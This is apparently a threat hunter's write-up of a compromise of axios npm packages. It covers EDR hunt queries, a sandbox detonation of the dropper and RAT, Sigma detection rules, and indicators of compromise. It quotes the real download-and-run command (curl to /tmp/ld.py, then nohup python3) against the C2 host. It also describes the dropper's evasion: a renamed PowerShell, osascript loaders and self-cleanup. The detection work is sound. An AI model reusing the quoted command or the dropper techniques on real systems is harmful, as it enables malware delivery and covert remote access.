npm install resolving axios@1.14.1 or axios@0.30.4 between 2026-03-31 00:21 and ~03:15 UTC executed a cross-platform RAT dropper. The postinstall hook, C2 connection to sfrclak[.]com:8000, and platform-specific payloads are all detectable in default EDR telemetry.
Method
Phased LCQL hunt across all customer orgs. Phase 1 queries for C2 DNS, C2 TCP connections, postinstall dropper execution, curl fetching the stage-2 payload, and stage-2 file drops via NEW_DOCUMENT (wide sweep). Phase 2 queries for platform-specific RAT artifacts against hit orgs only (deep dive). Phase 3 merges everything into a per-host attack stage matrix.
Findings
True positive on controlled detonation. Full dropper chain and RAT execution confirmed in sandbox telemetry. No customer hits across all orgs. Zero exposure.
Platform
LimaCharlie EDR, Jupyter Notebook, Pandas, DataWrangler
MITRE ATT&CK
T1195.002
T1059.007
T1059.002
T1059.005
T1059.001
T1036.005
T1070.004
T1571
On March 31, a suspected North Korean threat actor compromised the primary axios maintainer account on npm and published two backdoored versions. Both versions inject a phantom dependency (plain-crypto-js@4.2.1) whose postinstall hook drops a cross-platform RAT via sfrclak[.]com:8000. The exposure window was about 3 hours before npm pulled them. Google Threat Intelligence Group attributed the attack to UNC1069, a DPRK-nexus actor, based on the macOS binary's overlap with BlueNoroff's RustBucket campaigns. I wanted to know if any of our customers were affected and what this looks like in LimaCharlie telemetry, so I built a hunt for it.
StepSecurity published the initial analysis within hours, so I'll focus on what matters for detection.
The attack is a maintainer account hijack. The attacker obtained a long-lived npm access token for jasonsaayman (legitimate axios maintainer) and published axios@1.14.1 and axios@0.30.4 manually. Both versions add a single dependency to package.json: plain-crypto-js@^4.2.1. That package is never imported anywhere in axios source. Its sole purpose is to run a postinstall hook that executes node setup.js.
The setup.js dropper is obfuscated with a two-layer encoding scheme (XOR cipher with a key derived from OrDeR_7077 plus base64). Once decoded, it detects the OS and takes one of three branches:
/tmp/6202033, downloads a binary from the C2 to /Library/Caches/com.apple.act.mond (masquerading as an Apple daemon), and executes it via osascript%PROGRAMDATA%\wt.exe (masquerading as Windows Terminal), writes a VBScript loader to %TEMP%\6202033.vbs, downloads a .ps1 payload from the C2, and executes it hiddencurl -o /tmp/ld.py to fetch a Python RAT from the C2, then nohup python3 /tmp/ld.py to execute it detached from the npm process treeAll three branches contact the same C2: http://sfrclak[.]com:8000/6202033. The POST body contains a platform identifier (packages.npm.org/product0 for macOS, product1 for Windows, product2 for Linux), which is designed to look like legitimate npm traffic in SIEM logs.
After execution, the dropper deletes itself (setup.js) and swaps the malicious package.json with a clean stub called package.md that reports version 4.2.0 instead of 4.2.1. After cleanup, npm list shows plain-crypto-js@4.2.0 and there's no trace of the postinstall hook. An IR team searching for version 4.2.1 would conclude the system was clean.
The presence of the plain-crypto-js directory in node_modules is itself sufficient evidence of compromise. This package never appeared in any legitimate axios version.
The Linux stage-2 is a full-featured RAT, not just a dropper. I recovered a copy from MalwareBazaar and analyzed it. It uses only Python stdlib (no external dependencies), beacons every 60 seconds, and accepts four C2 commands: kill (self-terminate), peinject (drop and execute a binary), runscript (execute arbitrary Python or shell), and rundir (directory listing). On startup it sends a FirstInfo beacon with directory listings of the user's home, config, Documents, and Desktop directories. Each subsequent heartbeat sends full system info including the running process list, where it marks its own PID with a * prefix for the C2 operator.
Same notebook framework as previous hunts. Parallel LCQL queries across all customer orgs, results into Pandas DataFrames, phased approach so Phase 2 only targets orgs with Phase 1 hits.
The queries are split between IOCs and chokepoints. IOCs like sfrclak[.]com and 142.11.206[.]73 are fast for this incident but die when infrastructure rotates. Chokepoints target prerequisites the attacker can't avoid: node has to be the parent of the postinstall chain, renamed PowerShell still needs -ep bypass, osascript executing temp files from node has no legitimate use case. The hunt uses both.
Five queries across all customer orgs, all platforms, 14-day lookback:
PHASE1_QUERIES = {
# IOC: DNS resolution of attacker C2 domain
"ioc_c2_dns": (
"-336h | * | DNS_REQUEST | "
"event/DOMAIN_NAME contains 'sfrclak.com'"
),
# IOC: TCP connection to C2 IP (catches beaconing even if DNS is cached,
# resolved via /etc/hosts, or bypassed entirely with IP literal)
"ioc_c2_tcp": (
"-336h | * | NEW_TCP4_CONNECTION | "
"event/DESTINATION contains '142.11.206.73'"
),
# Behavioral: npm postinstall hook executing the dropper
"behavior_postinstall_exec": (
"-336h | * | NEW_PROCESS | "
"event/COMMAND_LINE contains 'node setup.js'"
),
# IOC: curl downloading stage-2 payload from the C2
"ioc_c2_curl_fetch": (
"-336h | * | NEW_PROCESS | "
"event/COMMAND_LINE contains 'curl' "
"and event/COMMAND_LINE contains 'sfrclak'"
),
# IOC: Stage-2 file drops (NEW_DOCUMENT fires on default telemetry)
"ioc_stage2_drop": (
"-336h | * | NEW_DOCUMENT | "
"event/FILE_PATH contains 'com.apple.act.mond' "
"or event/FILE_PATH contains '/tmp/ld.py' "
"or event/FILE_PATH contains '6202033'"
),
}
The DNS and TCP queries cover C2 communication from two angles. DNS_REQUEST catches the domain resolution, NEW_TCP4_CONNECTION catches the actual connection to the C2 IP. DNS doesn't fire if the resolution is cached or handled by /etc/hosts, and TCP doesn't fire if the connection happens inside a container with its own network namespace. During our sandbox detonation, DNS_REQUEST didn't fire at all because we redirected sfrclak[.]com via /etc/hosts for safety. If we'd only had the DNS query, the sandbox would have looked clean.
The behavior_postinstall_exec query catches node setup.js in any process command line. This is a relatively common filename, but in the context of a targeted hunt with other corroborating queries, it's fine. The ioc_c2_curl_fetch query narrows curl execution to just those containing the C2 domain.
The ioc_stage2_drop query uses NEW_DOCUMENT, which is LimaCharlie's default file-write telemetry for interesting file types (executables, scripts, etc.). It fires without any special configuration. This catches the stage-2 payload hitting disk regardless of how it got there. During our detonation, this fired for /tmp/ld.py with hash fcb81618bb..., confirming the file was written by curl (PID 20732) before python3 executed it.
Phase 1 returned hits on behavior_postinstall_exec and ioc_c2_curl_fetch from a single host in a single org. That host was our controlled sandbox.
Seven queries targeting the platform-specific RAT delivery artifacts, scoped to hit orgs from Phase 1:
PHASE2_QUERIES = {
# macOS: osascript executing the campaign-specific AppleScript dropper
"behavior_macos_osascript_dropper": (
"-336h | plat == macos | NEW_PROCESS | "
"event/COMMAND_LINE contains 'osascript' "
"and event/COMMAND_LINE contains '6202033'"
),
# macOS: RAT binary disguised as Apple daemon
"ioc_macos_rat_binary": (
"-336h | plat == macos | NEW_PROCESS | "
"event/FILE_PATH contains 'com.apple.act.mond'"
),
# Windows: Renamed PowerShell executing from ProgramData with bypass flag
# Chokepoint: a renamed copy of powershell.exe still needs -ep bypass
"behavior_windows_renamed_ps": (
"-336h | plat == windows | NEW_PROCESS | "
"event/FILE_PATH contains 'ProgramData' "
"and event/COMMAND_LINE contains '-ep bypass'"
),
# Windows: Campaign IOC -- wt.exe filename in ProgramData
"ioc_windows_ps_masquerade": (
"-336h | plat == windows | NEW_PROCESS | "
"event/FILE_PATH contains 'ProgramData' "
"and event/FILE_PATH contains 'wt.exe'"
),
# Windows: Campaign-specific VBScript and PowerShell loaders
"ioc_windows_campaign_loader": (
"-336h | plat == windows | NEW_PROCESS | "
"event/COMMAND_LINE contains '6202033.vbs' "
"or event/COMMAND_LINE contains '6202033.ps1'"
),
# Linux: Python stage-2 RAT executing from /tmp
"behavior_linux_tmp_python": (
"-336h | plat == linux | NEW_PROCESS | "
"event/COMMAND_LINE contains 'python3 /tmp/ld.py'"
),
# Linux: curl writing stage-2 to /tmp/ld.py
"behavior_linux_curl_dropper": (
"-336h | plat == linux | NEW_PROCESS | "
"event/COMMAND_LINE contains 'curl' "
"and event/COMMAND_LINE contains '/tmp/ld.py'"
),
}
The Windows queries show the IOC vs chokepoint split. ioc_windows_ps_masquerade looks for wt.exe in ProgramData, which is a campaign IOC that breaks on rename. behavior_windows_renamed_ps looks for any binary in ProgramData running with -ep bypass, which is the chokepoint. A renamed PowerShell can have any filename but still needs the bypass flag. Same pattern on macOS: osascript executing a temp file as a child of node is the durable query, com.apple.act.mond is the campaign IOC. The Linux queries catch both the curl download and the python3 execution from /tmp.
Phase 2 returned hits on behavior_linux_tmp_python and behavior_linux_curl_dropper from the same sandbox host.
After both phases, the notebook merges all events and maps each query to an attack stage: dropper, c2_comms, stage2_drop, or rat_delivery. It then builds a per-host matrix showing which stages were observed. A host with 3 or more stages is marked CONFIRMED.
STAGE_MAP = {
'ioc_c2_dns': 'c2_comms',
'ioc_c2_tcp': 'c2_comms',
'behavior_postinstall_exec': 'dropper',
'ioc_c2_curl_fetch': 'c2_comms',
'ioc_stage2_drop': 'stage2_drop',
'behavior_macos_osascript_dropper': 'rat_delivery',
'ioc_macos_rat_binary': 'rat_delivery',
'behavior_windows_renamed_ps': 'rat_delivery',
'ioc_windows_ps_masquerade': 'rat_delivery',
'ioc_windows_campaign_loader': 'rat_delivery',
'behavior_linux_tmp_python': 'rat_delivery',
'behavior_linux_curl_dropper': 'rat_delivery',
}
One host flagged CONFIRMED with all four stages: dropper, C2 comms, stage-2 drop, and RAT delivery. That host was our sandbox.
Before running the hunt across customer environments, I detonated both the dropper package and the actual Linux RAT in a controlled sandbox. The dropper was rebuilt from the decoded setup.js and packaged as plain-crypto-js-4.2.1.tgz. The RAT (ld.py) was recovered from MalwareBazaar. The sandbox had /etc/hosts redirecting sfrclak[.]com to 127.0.0.1 so the C2 traffic stayed local. Both payloads were executed and both produced telemetry.
The process tree shows the full chain from npm install through to RAT execution. The postinstall hook spawns sh -c node setup.js, which spawns node setup.js, which spawns the compound shell command with curl and nohup chained together. On the right side of the tree you can see the NEW_DOCUMENT, CODE_IDENTITY, and NETWORK_CONNECTIONS events firing as the payload is delivered and executed.
Clicking into the root npm install event, the command line shows the exact package being installed. The parent is -bash (our sandbox shell session). The hash f3f93db342d5... is the legitimate system node binary, not a malicious executable. The malicious logic is entirely in the JavaScript files it interprets, which means CODE_IDENTITY and hash-based detection won't catch the dropper at this stage.
The compound shell command spawned by node setup.js contains the full attack in a single command line: curl downloading the RAT to /tmp/ld.py, chained with nohup executing it detached. The parent field confirms node setup.js (PID 20719) as the origin.
/bin/sh -c curl -o /tmp/ld.py -d packages.npm.org/product2 -s hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &
The -d packages.npm.org/product2 flag is worth noting. It looks like a URL but it's actually the POST body. The attacker is sending a platform identifier disguised as an npm registry path, presumably to make the traffic blend in with legitimate npm requests in network logs.
Zooming into the right side of the tree, you can see the branching after setup.js: the curl process, the nohup/python3 process, and the NEW_DOCUMENT event where /tmp/ld.py is written to disk. The NETWORK_CONNECTIONS event on the far right is the RAT beaconing.
Independent of the process telemetry, LimaCharlie's NEW_DOCUMENT event confirms the RAT was written to disk. The event shows the file path, the SHA-256 hash of the file content, and the process ID that wrote it (curl, PID 20732):
The hash fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf matches the ld.py sample on MalwareBazaar. The NEW_DOCUMENT event fires on LimaCharlie's default telemetry with no additional configuration. If the dropper had used wget or a Python download instead of curl, the process-level query would have missed it, but the file-level event would still fire.
The NETWORK_CONNECTIONS event for the python3 process confirms the RAT not only executed but made two outbound TCP connections to the C2. In our sandbox, those connections went to 127.0.0.1:8000 because of the /etc/hosts redirect. In a real compromise, they would go to 142.11.206[.]73:8000.
Two connections, 24 milliseconds apart. The first is the FirstInfo beacon (directory listings), and the second is the first heartbeat poll. The RAT then enters an infinite loop with 60-second intervals, but since nothing was actually serving C2 commands on localhost, the subsequent heartbeats would have failed silently.
DNS_REQUEST returned zero hits, even though the sandbox resolved sfrclak[.]com and curl successfully connected. This is expected. The /etc/hosts file resolves the domain locally before the system's DNS resolver is ever involved, so no DNS query is generated and no DNS_REQUEST event fires. This is the same thing that would happen if a corporate DNS proxy cached the resolution, or if a previous npm install on the same machine already resolved the domain minutes earlier.
The NEW_TCP4_CONNECTION query for 142.11.206[.]73 also returned nothing because the connection actually went to 127.0.0.1. In production, where sfrclak[.]com resolves to the real C2 IP, the TCP query would fire and catch connections that DNS missed.
Having both in Phase 1 matters because they fail in opposite directions. DNS misses cached resolutions, TCP misses containerized network namespaces.
The hunt queries mix IOCs and behavioral patterns. The IOCs die when the infrastructure rotates. The behavioral patterns survive because they target chokepoints, prerequisites the attacker can't avoid regardless of tooling. The methodology here follows Tyler Bohlmann's detection chokepoints framework: identify what the attacker must do, then detect that invariant. Three chokepoints from this attack translate into Sigma rules.
The Windows branch copies powershell.exe to %PROGRAMDATA%\wt.exe. The filename changes but the binary doesn't. It still has PowerShell's OriginalFilename metadata, it still needs -ep bypass to run unsigned scripts, and it still shows up as a Microsoft-signed binary in a directory where Microsoft doesn't install anything. The chokepoint is that a renamed system binary retains its identity. The attacker can change the name to anything, but they can't change the metadata or the flags the binary requires.
title: Renamed PowerShell Execution from User-Writable Directory
id: a7c3e1f9-4b2d-4e8a-9f0c-1d3e5f7a9b2c
status: experimental
description: >
Detects PowerShell executing from a user-writable directory where the
binary has been renamed. Two independent signals OR'd: (1) OriginalFileName
metadata still contains "PowerShell" but the Image path is non-standard,
or (2) a binary in a user-writable path passes PowerShell-specific flags
like -ep bypass or -ExecutionPolicy. Either signal alone indicates a
renamed PowerShell binary. Catches this campaign's wt.exe in ProgramData
and any future renamed PowerShell regardless of filename.
references:
- https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
- https://attack.mitre.org/techniques/T1036/005/
author: Josh Strickland
date: 2026/03/31
tags:
- attack.defense_evasion
- attack.t1036.005
- detection.maturity.analyst
logsource:
category: process_creation
product: windows
detection:
selection_user_writable_path:
Image|contains:
- '\ProgramData\'
- '\AppData\'
- '\Users\Public\'
- '\Windows\Temp\'
selection_metadata:
OriginalFileName|contains:
- 'PowerShell'
- 'powershell'
selection_bypass_flags:
CommandLine|contains:
- '-ep bypass'
- '-ExecutionPolicy Bypass'
- '-exec bypass'
- '-WindowStyle Hidden'
filter_legitimate_ps_paths:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
condition: selection_user_writable_path and (selection_metadata or selection_bypass_flags) and not filter_legitimate_ps_paths
falsepositives:
- Portable PowerShell distributions intentionally placed in user directories
level: high
Legitimate postinstall hooks that download platform binaries (node-gyp, sharp, esbuild) run in the foreground and block until done. Malicious hooks use nohup ... & to orphan the payload from the npm process tree so the install exits clean. The chokepoint is the nohup detach: a node child downloading to /tmp and backgrounding execution has no legitimate use case.
title: Node.js Postinstall Downloads to Temp and Detaches Execution
id: b8d4f2a0-5c3e-4f9b-a01d-2e4f6a8b0c3d
status: experimental
description: >
Detects the npm supply chain chokepoint where a process with node in
its ancestry downloads a file to a temp directory and executes it in a
detached background process via nohup. Legitimate postinstall hooks run
in the foreground and block until completion. The nohup detach is the
distinguishing behavior. It orphans the payload so npm exits clean
with no visible error. Catches any npm postinstall abuse using this
download-and-detach pattern regardless of C2 domain or payload.
references:
- https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
- https://attack.mitre.org/techniques/T1195/002/
- https://attack.mitre.org/techniques/T1059/004/
author: Josh Strickland
date: 2026/03/31
tags:
- attack.execution
- attack.t1195.002
- attack.t1059.004
- detection.maturity.analyst
logsource:
category: process_creation
product: linux
detection:
selection_node_direct_parent:
ParentImage|endswith: '/node'
selection_node_shell_parent:
ParentImage|endswith:
- '/sh'
- '/bash'
- '/dash'
ParentCommandLine|contains: 'node'
selection_download_to_tmp:
CommandLine|contains:
- 'curl'
- 'wget'
CommandLine|contains:
- '/tmp/'
- '/var/tmp/'
selection_detach:
CommandLine|contains: 'nohup'
condition: (selection_node_direct_parent or selection_node_shell_parent) and selection_download_to_tmp and selection_detach
falsepositives:
- Rare. Legitimate npm packages do not nohup background processes during postinstall.
level: high
The macOS branch uses osascript to run an AppleScript dropped to /tmp. Legitimate software doesn't do this, and the parent chain through node scopes it to npm postinstall context. The chokepoint is that osascript executing a temp file as a descendant of node has no legitimate use case.
title: osascript Executing Temp File as Descendant of Node.js
id: c9e5a3b1-6d4f-4a0c-b12e-3f5a7b9c1d4e
status: experimental
description: >
Detects osascript executing a script from a temp directory where node
is in the parent chain. osascript running temp files from an npm
postinstall context has no legitimate use case. Catches the macOS
branch of npm supply chain attacks using AppleScript as an execution
proxy regardless of what the script does or where it calls.
references:
- https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
- https://attack.mitre.org/techniques/T1059/002/
author: Josh Strickland
date: 2026/03/31
tags:
- attack.execution
- attack.t1059.002
- detection.maturity.analyst
logsource:
category: process_creation
product: macos
detection:
selection_osascript:
Image|endswith: '/osascript'
selection_temp_script:
CommandLine|contains:
- '/tmp/'
- '/var/folders/'
selection_node_direct:
ParentImage|endswith: '/node'
selection_node_via_shell:
ParentImage|endswith:
- '/sh'
- '/bash'
- '/zsh'
ParentCommandLine|contains: 'node'
condition: selection_osascript and selection_temp_script and (selection_node_direct or selection_node_via_shell)
falsepositives:
- None expected. Electron apps use osascript with inline -e strings, not temp file execution.
level: high
All three rules survive infrastructure rotation. The Sigma format makes them portable across any SIEM or EDR that supports Sigma conversion. For the IOC side: block sfrclak[.]com and 142.11.206[.]73 at the firewall and DNS layer.
| Indicator | Type | Description |
|---|---|---|
sfrclak[.]com |
Domain | C2 server |
142.11.206[.]73 |
IP | C2 server |
http://sfrclak[.]com:8000/6202033 |
URL | Stage-2 payload delivery |
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf |
SHA256 | ld.py (Linux RAT) |
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 |
SHA256 | setup.js (obfuscated dropper) |
axios@1.14.1 |
npm | Malicious version (unpublished) |
axios@0.30.4 |
npm | Malicious version (unpublished) |
plain-crypto-js@4.2.1 |
npm | Phantom dependency (security hold) |
The IOC queries will be dead within weeks. The chokepoint queries will still fire when the next supply chain attack uses the same delivery patterns with completely different infrastructure. If you're only shipping detections from advisories, you're rebuilding every time the actor rotates. Build from chokepoints and the detection covers the technique.
Query more than just NEW_PROCESS. The important confirmation in this hunt came from NEW_DOCUMENT (the RAT hitting disk with a known hash) and NETWORK_CONNECTIONS (two TCP callbacks to the C2). Those turned "we saw a curl command" into "the RAT is on disk and it called home."
Don't trust DNS_REQUEST as your sole network indicator. It fired zero times in our sandbox because /etc/hosts bypassed the resolver. DNS caching and corporate proxies produce the same blind spot in production. Pair DNS with TCP connection queries against the resolved IP.
Don't trust the filesystem after compromise. The axios dropper replaces its own package.json with a clean stub after execution. npm list and npm audit show nothing wrong. You need EDR telemetry from the time of installation, not the current state of disk.
Comments